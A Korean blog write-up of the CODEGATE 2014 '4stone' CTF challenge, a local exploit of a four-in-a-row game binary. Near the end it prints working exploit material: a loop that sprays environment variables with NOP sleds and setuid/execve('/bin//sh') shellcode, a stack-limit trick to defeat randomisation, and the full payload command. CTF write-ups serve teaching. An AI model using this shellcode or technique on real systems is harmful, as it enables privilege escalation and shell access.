본문 바로가기
Security/[게임] CTF 풀이

[exploit] CODEGATE2014 4stone writeup

by blackcon 2014. 2. 26.

로컬 서버에 접속을 해서 컴퓨터와 4목을 두는 바이너리!! 

(이기는 로직을 알기 전까지는 컴터가 잘하더라구요ㅜㅜ 많이 졌음...ㄷㄷ)


다음 그림은 헥스레이로 분석한 소스인데요. 1차적으로 if( !v11 ), 게임을 0초만에 이겨야지 안쪽으로 진행할 수 있습니다. 그 다음은 a1, 즉 argc가 2개이면 scanf로 또 한번의 입력을 받는데 입력받은 값은 0x8040000과 0xB0000000 이 되면 안됩니다.



eax : 2번째 인자로 입력한 값.

edx : 게임에서 이긴 후 scanf로 입력받은 값

즉, argv[1]에 입력받은 곳에 edx를 입력합니다.


Segmentation fault가 뜬 곳을 보면 0x5662015a로 리턴을 하려는 것을 볼 수 있습니다. 즉, [EAX]0xbab04으로 return을 합니다. 하지만 위에서 봤듯이 코드영역과 스택영역에는 저희가 입력한 값을 저장하지 못합니다. maps를 이용하여 rwx권한이 있는 영역을 보면 다음과 같고 이중 rwx되는 아무 영역을 집어서 argv[1]부분에 입력을 해주면 됩니다.

메모리 랜덤이라서 이를 방지하기 위해서  ulimit -s unlimited 를 입력해주셔야 되요.

리모트 Exploit일경우 먹히질 않지만 Local은 이렇게해주면 주소(라이브러리)가 일정합

 


입력한 주소를 저장할 buf는 0x4007f000영역으로 설정을 했고, 이제 쉘코드를 저장할 곳이 필요합니다. 이번 문제는 로컬 익스플로잇이라 환경변수에 쉘코드를 입력하도록 했습니다. 프로그램이 실행될때마다 환경변수가 호출되는데 매번 주소가 일정하지 않습니다. 그래서 환경변수에 [nop][shellcode]를 뿌리는식의 spraying기법을 사용할거에요. 그럼 Return이 환경변수 주변 어디에 떨어지더라도 nop을 타고 shellcode가 실행됩니다 :D'

 

# 환경변수에 shellcode를 삽입

# export a = [nop][shellcode]


for i in $(seq 1 512); do export a$i="`python -c "print '\x90'*2048+'\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'"`"; done


//payload :: [4목 이기는 로직][환경변수주소];cat |./4stone [rwx영역 주소]

$ (python -c 'print "\nhh\nhhhh\nh\nhhh\nhh\nh\n\nbff00000"';cat)|./4stone 4007f000